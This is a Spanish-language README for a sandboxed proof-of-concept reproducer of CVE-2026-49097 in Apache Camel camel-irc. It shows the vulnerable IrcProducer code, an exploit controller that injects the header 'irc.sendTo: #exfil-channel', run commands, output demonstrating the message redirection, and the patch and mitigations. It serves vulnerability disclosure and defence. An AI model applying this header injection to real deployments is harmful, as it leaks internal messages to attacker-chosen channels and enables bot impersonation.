
PoC reproductor para CVE-2026-49097 (Apache Camel camel-irc): la cabecera irc.sendTo sin prefijo Camel evade el filtro de cabeceras HTTP y sobrescribe el canal configurado del productor, redirigiendo un mensaje IRC a un destino elegido por el atacante. Corregido en 4.14.8/4.18.3/4.21.0.
Este proyecto demuestra una inyección de cabeceras de mensaje en el componente camel-irc de Apache Camel, registrada como CVE-2026-49097. IrcProducer lee la cabecera irc.sendTo para elegir el destino del mensaje IRC saliente; cuando está presente, sobrescribe la lista de canales configurada en el endpoint:
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // attacker-chosen destination
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s)
}
}
La constante de cabecera IRC_SEND_TO tiene el valor simple irc.sendTo. Como no empieza con el prefijo Camel / camel, HttpHeaderFilterStrategy — que bloquea solo el espacio de nombres de cabeceras de Camel en el límite HTTP — permite que pase de una solicitud HTTP entrante directamente al Exchange.
En una ruta que conecta un consumidor HTTP (por ejemplo platform-http) con un productor irc:, cualquier cliente HTTP puede, por tanto, proporcionar irc.sendTo y redirigir el mensaje a un canal o nick IRC arbitrario, exfiltrando contenido destinado a un canal interno hacia un destino controlado por el atacante, o suplantando al bot en otro canal. Otras nueve constantes irc.* fueron renombradas en la misma corrección; irc.sendTo es la directamente explotable.
Este PoC demuestra el impacto como redirección de mensajes / divulgación de información (CWE-20 → CWE-74).
Aviso: https://camel.apache.org/security/CVE-2026-49097.html
La corrección renombra las diez constantes de cabecera
irc.*a la convenciónCamelIrc*(por ejemploirc.sendTo→CamelIrcSendTo), de modo que se filtran en el límite HTTP como cualquier otra cabecera de control de Camel. Misma familia que CVE-2025-27636, CVE-2026-46454 y CVE-2026-48206. Nota:camel-ircestá obsoleto a partir de 4.21.0.
La vulnerabilidad está enteramente en la selección de destino de IrcProducer; el socket IRC es solo transporte. Este reproductor ejecuta el IrcProducer real y la clase IRCConnection real de irclib, subclasificada para que su send(...) (a través del cual pasan todos los comandos do* — incluido doPrivmsg —) registre el destino del PRIVMSG en lugar de escribir en un socket. Un pequeño componente irc personalizado entrega esa conexión de registro. No se contacta con ninguna red IRC.
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
Un endpoint "notify" que reenvía a un canal interno fijo #alerts. No hay parámetro de destino en la API HTTP — el autor asume que el cliente no puede elegir el canal. El atacante establece irc.sendTo y el bot publica en un canal elegido por el atacante.
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket
│ ├── RecordingIrcComponent.java # hands out the recording connection
│ ├── IrcComponentConfig.java # registers it under the 'irc' scheme
│ ├── IrcRecorder.java # captures the last delivered target + text
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Después de actualizar, las rutas que establecen el destino IRC mediante una cabecera deben usar el nombre CamelIrcSendTo. Tenga en cuenta que camel-irc está obsoleto a partir de 4.21.0.
Hasta que se actualice, elimine las cabeceras de control de camel-irc de cualquier entrada no confiable antes del productor irc: (por ejemplo removeHeaders("irc.*")), y establezca el destino desde una fuente confiable.
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-irc |
| Clase afectada | org.apache.camel.component.irc.IrcProducer que lee IrcConstants.IRC_SEND_TO ("irc.sendTo") |
| CWE | CWE-20 (Validación de entrada incorrecta) / CWE-74 (Inyección) |
| Impacto | Redirigir un mensaje IRC saliente a un canal/nick elegido por el atacante (exfiltración, suplantación) |
| Precondiciones | Una ruta conecta un consumidor HTTP con un productor irc:; sin autenticación cuando el consumidor es |
| Versiones afectadas | Desde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| Crédito | Yu Bao (PayPal) |